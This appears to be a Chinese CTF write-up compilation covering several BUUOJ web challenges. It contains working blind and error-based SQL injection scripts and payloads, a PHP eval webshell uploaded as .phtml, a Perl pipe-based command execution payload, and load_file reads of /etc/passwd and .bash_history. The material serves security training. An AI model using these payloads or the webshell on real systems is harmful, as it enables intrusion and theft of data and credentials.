现实情况下,每个类都是在服务端写好的,服务端不傻,不能保证我们每次都能遇到里面直接有eval($s)这样对选手十分友好的类,也很难保证直接在__destruct里面就能触发相应函数,可能需要去寻找其他魔术方法,毕竟非魔术方法我们是几乎没可能直接调用的。比如本题中就没有任何代码执行或命令执行语句可供使用,迫使我们只能去想文件读取。但总的来说,基本思路就是这样:上传phar文件,利用类中的可利用的方法,找到服务端文件操作函数并以phar://协议读取phar文件。

有大佬总结的利用条件:

1)phar文件要能够上传至服务器

2)要有可用的魔术方法为跳板

3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

[NCTF2019]SQLi

打开之后首先尝试万能密码登录和部分关键词(or、select、=、or、table、#、-等等)登录,显示被检测到了攻击行为并进行了拦截

使用dirmap扫描

扫描
python3 dirmap.py -i http://38457678-39d0-4069-9193-7b082a65e751.node5.buuoj.cn:81/ -lcf

这里我扫不到

访问robots.txt文件,发现hint.txt文件并进行访问,发现提示信息和过滤的一堆关键字

得到提示,过滤了一堆东西$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

已知column名并且注入点在where子句中,要求得到密码
这里可以采用regexp进行bool盲注。(regexp bool 盲注(Regular Expression Boolean-based Blind Injection)是一种利用正则表达式进行的盲注技术。它通过构造包含正则表达式的 SQL 语句,根据目标服务器返回的布尔值(真 / 假,通常表现为页面正常 / 异常)来推断数据库中的信息)

payload: username=\&passwd=||%091;%00

通过\ 转义username后第二个单引号进而闭合掉passwd后第一个引号
通过%00截断 代替# –
空格过滤可以替换为%09

注意到查询成功会跳转到welcome.php

可以用如下的payload来进行盲注(注意是正则匹配,所以需要限定字符串开头,否则在字符串中找到也会算为真):

username=\&passwd=||%09passwd%09regexp%09"^y";%00

regexp “^a” 表示 查找passwd列中以a为起始的

脚本爆破

import requests from urllib import parse import time #跑出密码后发现没有大写字母,因此就去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~' url = 'http://e1db0b7e-6166-479c-b047-ae5fc10f9d56.node5.buuoj.cn:81/' passwd = 'you_will_neve' i = 1 while i < 80: for one_char in strings: data = { 'username':'\\', 'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00') } rs = requests.post(url,data).content.decode('utf-8') time.sleep(0.01) if 'welcome' in rs: passwd = passwd + one_char print("\r", end="") print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='') i = i + 1 break if one_char=='~' and 'welcome' not in rs: print('\n密码共'+str(i-1)+'位,已匹配完成') i = 80 break

这脚本不知道为什么跑一半直接结束,直接把结果弄上去接着跑搞了三次

用户名随便

[CISCN2019 总决赛 Day2 Web1]Easyweb

查看源码,抓包查看无果后
尝试进行目录扫描,发现网站中存在 robots.txt

查看robots.txt ,发现该网站中存在含有备份文件

下载查看image.php.bak(这里是由源码猜测的)

<?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);

存在addslashes()函数 会在预定义字符之前添加反斜杠字符串
预定义定义字符:单引号 双引号 反斜杠 NULL
str_replace 将"\0",“%00”,“'”,"‘"替换成空(前面第一个 \ 是用来转义的)
sql查询语句 "select * from images where id=‘{$ id}’ or path=’{ $ path}
我们的目标就是sql传参 就是要将 id处的单引号包裹给打破,
一般我们路是在传参的时候使用的单引号进行包裹,
由于addslashes() 我们没有办法使用单引号(addslashes会将我们输入的引号进行转义)
这时候我们想到了str_replace函数
我们如果传入的参数是\0,那么首先他会经过addslashes(),然后就变成了\0,这个时候再由str_replace进行替换,id参数就成为了\,也就是达到了我们的目的。
构造payload

select * from images where id='\0' or path='{$path}'

sql盲注 使用脚本(盲注常见操作了,写脚本依次注库、表、字段名,这里省略掉快进到直接查账户名和密码)

import requests url = "http://1dd3577f-895c-416f-bea7-d2dbfb20ae81.node5.buuoj.cn:81//image.php?id=\\0&path=" payload = " or ascii(substr((select password from users),{},1))>{}%23" result = '' for i in range(1,100): high = 127 low = 32 mid = (low+high) // 2 # print(mid) while(high>low): r = requests.get(url + payload.format(i,mid)) # print(url + payload.format(i,mid)) if 'JFIF' in r.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(mid) print(result)

爆出密码b24094fa6cd2e220d036登陆admin

上传文件猜测文件上传

直接上传 php文件 发现上传失败 但可以上传 phtml文件
同时文件中不允许存在 php 所以我们使用段标签绕过

<?= @eval($_POST['1']); ?>

这里路径要快点复制

蚁剑连接不上phtml 使用用文件名写马 进行连接

[HITCON 2017]SSRFme

直接给源码

首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来,然后通过explode函数分割,在把ip地址截取出来,在用echo函数输出出来,这就是我们第一行看到的IP地址

sandbox变量为sandbox/后面拼接一个(orange拼接输出的ip)的MD5值在通过

@mkdir($sandbox);

@chdir($sandbox);

创建sandbox这个目录

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

到kali里面去测试一下这个GET有什么作用,这里GET一个根目录,功能类似于ls把它给列出来

可以读取文件

把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。

然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了

构造参数

首先我们GET根目录且让其放进test目录里

然后我们对其访问,路径是sandbox+拼接的MD5值+test

sandbox/50d5f583d8a911dde39156ba3f03c3d5/test

根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,接下来就是

Perl中open命令执行(GET)内容了

因为GET的底层是使用open函数的,如下

file.pm84: opendir(D, $path) or132: open(F, $path) or returnnew

而这个open函数会导致我们的RCE,最终造成GET的RCE

因为GET使用file协议时候会调用perl中的open函数,所以我们这题就需要利用file来进行绕过了

执行命令需要满住如下条件:

要执行的命令先前必须要有以命令为文件名的文件存在(这里不是很理解,大佬可以告知一下)

既然要满住这个条件,那我们构造的payload如下

?url=&filename=|/readflag 2、?url=file:|/readflag&filename=test

在访问sandbox/50d5f583d8a911dde39156ba3f03c3d5/test

拿到flag

October 2019 Twice SQL Injection

二次注入的原理:

在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

先随便注册一个号,进行登录

输入sql语句查看过滤情况,发现没有过滤,但是单引号用\转义了:

我们可以通过注册恶意用户名来登录,获取数据库内容

注册用户名为:12’ union select database() #,密码为1的用户,进行登录

注册用户名为:12’ union select group_concat(table_name) from information_schema.tables where database()=table_schema#,密码为123的用户,进行登录,爆出表名

注册用户名为:12’ union select group_concat(column_name) from information_schema.columns where table_name=“flag”#,密码为123的用户,进行登录,爆出字段名

注册用户名为:12’ union select group_concat(flag) from flag#,密码为123的用户,进行登录,爆出flag字段值

[RCTF2015]EasySQL

打开之后只有登录和注册两个功能,界面如下:

随便注册一个账户并进行登录,(注册admin时显示该账户已存在,考虑到是不是要获取到admin账户拿flag),发现可以进行改密操作,结果如下:

抓取各个页面的数据包未发现有用的信息,修改密码的数据包中也不存在明文账户信息,此时想到后台更新密码语句应该为:update password=‘xxxx’ where username=“xxxx”,所以我们直接注册用户名为admin"#来闭合sql语句和注释掉后面的sql语句,并admin"#账户的密码,修改后的密码即为admin账户的密码,结果如下

我们也可以由此得出结论,页面存在二次注入的漏洞,并可以大胆猜测修改密码的源代码。

我们是因为对username进行的操作修改了admin的密码,所以关键点是对username的操作,回想我们在修改密码时页面不存在回显,那我们应当考虑报错注入。

利用Fuzz字典爆破username,查看禁用了哪些关键字。

其中如 and 和 空格这样的关键字都被过滤了,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入了(这里一定要注意extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

我们看到有三张表,我们大胆猜测flag很可能在表flag中,于是我们查询表flag中的列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘flag’)))#

发现列flag,那我们只需要查询flag中的内容岂不是就可以拿到flag了,我们尝试获取flag的值

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

发现不是,访问表users

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘users’)))#

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘users’))))#

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

发现查询结果超过1行,我们需要使用正则表达式来获取flag值

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’))))#

extractvalue最多只能显示32位的原因,报错回显不能够完全显示flag的值,我们可以依然使用 reverse()函数,将flag值倒置输出,再利用sql语句将倒置部分恢复,将前后两部分flag拼接到一起,就可以获得完整的flag值

admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’)))))#

随波逐流逆序

[网鼎杯 2018]Comment

打开来是个留言板

点击发帖,发帖后发现login页面,发现提示了我们账号:zhangwei,密码:zhangwei(只有后面三位没有告诉),直接爆破,得到后三位为666

然后发帖,点击详情,发现可以留言,这里可能有xss(不过ctf这种情况少)或者二次注入(因为页面有我们发帖的信息,说明我们发帖的内容从数据库里面拿出来了,所以可能有二次注入) ,观察到comment.php?id=1,尝试对参数id进行SQL注入,失败了

搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),可以看到存在git泄露,这里直接用githacker把泄露的部分下载下来

python39 .\GitHack.py --url http://831ab642-5443-4b13-bc13-9b2f65129381.node5.buuoj.cn:81/.git

尝试下是否有其他版本,用git命令查看下

进入write_do所在目录先git init再 git log --reflog 注:如果得到的文件内容不全,使用它之后

commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash) 有很多的这种的,从第一个一个试
然后:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 成功恢复内容

GitHack 只能下索引能解析到的 blob 文件,不会还原 commit/tree 对象,所以即使用git init也看不到历史。

这里我看不到

<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>

他先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将他那里出来,存在二次注入

1.在发帖页面写入 ',content=(user()),/*

2.之后留言,内容为: */# 得知是root权限
这里要注意:查数据库的数据不需要root权限,而使用load_file读取文件内容需要root权限,所以应该是想让我们读取文件

3.尝试读文件,有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select
',content=(load_file(“/etc/passwd”)),/*

发现出来root用户以外,只有www这个用户在/home/www目录下用了/bin/bash

4.查看/home/www/.bash_history
.bash_history :保存了当前用户使用过的历史命令,方便查找

',content=(load_file(“/home/www/.bash_history”)),/*

解释一下:先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下
.DS_Store:这个文件是常见的备份文件

',content=(load_file(“/tmp/html/.DS_Store”)),/*

.DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换
',content=(hex(load_file(“/tmp/html/.DS_Store”))),/*

查看源码复制,进行ASCII hex 解码

看到里面有flag_8946e1ff1ee3e40f.php

5.尝试查看/tmp/html/flag_8946e1ff1ee3e40f.php
',content=(load_file(“/tmp/html/flag_8946e1ff1ee3e40f.php”)),/*
啥也没有得到
加上hex
',content=(hex(load_file(“/tmp/html/flag_8946e1ff1ee3e40f.php”))),/*

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}
假的flag

可能是在/var/www/html/目录下面
尝试查看/var/www/html/flag_8946e1ff1ee3e40f.php
',content=(hex(load_file(“/var/www/html/flag_8946e1ff1ee3e40f.php”))),/*

#

[GYCTF2020]Ezsqli

发现有个提交表单,初步认定sql注入,源码中除了提到我们输入的信息是POST传参,且以id=x传参以外,没有其他信息。思路:抓个包,在bp中爆破有无过滤字符,接着看用什么注入。

输入1、1’有不同回显,确认注入点在这里,按照经验应该查看一下有无字符过滤,然后确定用什么注入

发现union、for、floor、rand()、handler、INFORMATION、|、LIEK、from、注释符、分号、括号等都被过滤了,过滤了个干净

无列名注入:用数字代替列名

1.使用条件:information_schema这个库都被过滤掉了 2.使用前提: ①mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表,但这两张表记录了数据库和表的信息,但是没有列名 例: select group_concat(database_name) from mysql.innodb_index_stats; select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() ②mysql 5.7开始增加了sys库,用于快速了解系统元数据信息 例:schema_table_statistics_with_buffer

脚本爆出表名

import time import requests import sys import string import logging # LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s" # logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT) target="http://089d87c8-7a75-454d-9806-a634e110dee5.node3.buuoj.cn/index.php" dataStr="(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database())" def binaryTest(i,cu,comparer): s=requests.post(target,data={"id" : "0^(ascii(substr({},{},1)){comparer}{})".format(dataStr,i,cu,comparer=comparer)}) if 'Nu1L' in s.text: return True else: return False def searchFriends_sqli(i): l = 0 r = 255 while (l <= r): cu = (l + r) // 2 if (binaryTest(i, cu, "<")): r = cu - 1 elif (binaryTest(i, cu, ">")): l = cu + 1 elif (cu == 0): return None else: return chr(cu) def main(): print("start") finres="" i=1 while (True): extracted_char = searchFriends_sqli(i) if (extracted_char == None): break finres += extracted_char i += 1 print("(+) 当前结果:"+finres) print("(+) 运行完成,结果为:", finres) if __name__=="__main__": main()

过滤了union的无列名注入

核心思想

假设 flag 为 flag {bbbbb},对于 payload 这个两个 select 查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大,这个不难懂,和 c 语言的 strcmp() 函数原理一样,举几个例子:
glag > flag{bbbbb}
alag{zzzzzzzzzzz} < flag{bbbbb}
a < flag{bbbbb}
z > flag{bbbbb}
在这样的按位比较过程中,因为在里层的 for() 循环,字典顺序是从 ASCII 码小到大来枚举并比较的,假设正确值为 b,那么字典跑到 b 的时候 b=b 不满足 payload 的大于号,只能继续下一轮循环,c>b 此时满足了,题目返回真,出现了 Nu1L 关键字,这个时候就需要记录 flag 的值了,但是此时这一位的 char 是 c,而真正的 flag 的这一位应该是 b 才对,所以 flag += chr(char-1),这就是为什么在存 flag 时候要往前偏移一位的原因

import requests import time url = 'http://bbec0b5f-0d5c-406b-ba6d-d0391a76b959.node3.buuoj.cn/index.php' # give_grandpa_pa_pa_pa payload_flag = '1^((1,\'{}\')>(select * from f1ag_1s_h3r3_hhhhh))' /*(1, '猜测字符串') 与 (1, '真实flag') 进行比较。 如果猜测字符串 字典序大于 真实 flag,则条件为真,返回 1,1^1=0,查询结果为空 → 页面 不出现 'Nu1L'。 如果猜测字符串 小于等于 真实 flag,则条件为假,返回 0,1^0=1,查询结果非空 → 页面 出现 'Nu1L'。*/ flag = '' for i in range(1, 100): time.sleep(0.3)#这里要sleep一下,不然太快了会乱码,本人测试后0.3正好能出结果 low = 32 high = 132 mid = (low + high) // 2 while (low < high): k = flag + chr(mid) payload = payload_flag.format(k) data = {"id": payload} print(payload) r = requests.post(url=url, data=data) if 'Nu1L' in r.text: low = mid + 1 else: high = mid /*初始区间 low=32, high=132(可见 ASCII 范围)。 第一次猜 mid=67 → 'C' 发:1^((1,'flag{C')>(select...)) 页面没有 Nu1L → 说明 'flag{C' > 真实 → 太大,把 high=mid。 第二次 mid=51 → '3' 有 Nu1L → 说明 'flag{3' ≤ 真实 → 太小,把 low=mid+1。 … 最终 low==high==121 → 'y' 再验证一次 mid=121 与 mid=122 即可锁定 121 是唯一解。 脚本取 chr(mid-1) 得到 'x'(因为最后一次多跳了一位)*/ mid = (low + high) // 2 if mid == 33: /*题目 flag 示例:flag{cyber666} 字典序里 ! 比所有可见字符都小, 当脚本已经把完整 flag 猜完再往后: (1,'flag{cyber666}!') > (1,'flag{cyber666}') → 永远成立 → 返回 0 → 永远不再出现 Nu1L 于是二分会把 low 一直压到 33,脚本发现 mid==33 就认为“已经结束”,跳出循环。 这是针对该题的特殊结束标志,换别的环境要改判断。*/ break flag += chr(mid - 1) print(flag.lower()) # 因为出来的flag是大写,这边全部转为小写 print(flag.lower())

如果换个场景要改什么?

场景变化改动点
表名/列名不同select * from f1ag_1s_h3r3_hhhhh换成正确的子查询
回显关键字不是 Nu1L'Nu1L' in r.text'新特征' in r.text
过滤了^异或换别的布尔方式,如ORD(MID())>n配合if()
需要爆列名或数据把子查询换成select group_concat(column_name) from information_schema.columns where table_name='xxx'即可

[WUSTCTF2020]颜值成绩查询

payload:1 ,payload:1 or 1=1–+,进行判断是否存在注入,显示不存在该学生,通过两个分析,可以确认服务端对空格进行了过滤

修改payload为以下两个:payload:1//and//1=1#,payload:1//and//1=2#,发现回显信息前者正常,后者异常

/**/ 就是 MySQL 中的“空白注释

因为页面只返回正确和错误的信息,无法根据别的信息进行判断,因此考虑布尔注入,首先通过布尔注入判断数据库名字的长度,payload:1//and//length(database())=n#,通过修改n的参数获得数据库的名字的长度

知道了数据库长度之后通过一个字符一个字符的比对来获取数据库的名字,payload:1//and//substr(database(),1,1)=’a’#,通过修改字符a,最终获得数据库名字为ctf

获取数据库名称之后,获取数据库内表的数量和名称长度,payload:1//and//length((select//table_name//from//information_schema.tables//where//table_schema=‘ctf’//limit/**/0,1))=4–+,下面第三张图中条件可以替换>0

知道了表的长度后,一个字符一个字符进行比对来获取表的名字,payload:1//and//substr((select// table_name//from//information_schema.tables//where//table_schema=‘ctf’//limit/**/0,1),1,1)=‘f’–+最终获得表的名字为flag和score

通过获取的表名来获取列的数量,payload: 1//and//length((select//column_name//from//information_schema.columns//where//table_name=%27flag%27//limit/**/0,1))=4–+,获得列的长度分别为4和5和5

通过获取的列的长度来获取列的名字,payload:1//and//substr((select//column_name//from//information_schema.columns//where//table_name=‘flag’//limit/**/1,1),1,1)=‘v’–+,最终获得flag表的列明为flag、value,score表的列明为id、name、score

通过获取的列名信息来获取flag值长度,payload:1//and//length((select//value//from//flag//limit/**/0,1))=42–+,

知道了flag的长度之后,通过字符串逐步获取flag值,payload:1//and//substr((select//value//from//flag//limit/**/0,1),1,1)=‘f’–+

脚本实现(手工不现实)

import requests url= 'http://b91f52c4-276b-4113-9ede-54fb712ac6da.node3.buuoj.cn/' database ="" payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" # for i in range(1,10000): low = 32 high = 128 mid =(low + high) // 2 while(low < high): # payload = payload1.format(i,mid) #查库名 # payload = payload2.format(i,mid) #查表名 # payload = payload3.format(i,mid) #查列名 payload = payload4.format(i,mid) #查flag new_url = url + payload r = requests.get(new_url) print(new_url) if "Hi admin, your score is: 100" in r.text: low = mid + 1 else: high = mid mid = (low + high) //2 if (mid == 32 or mid == 132): break database +=chr(mid) print(database) print(database)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询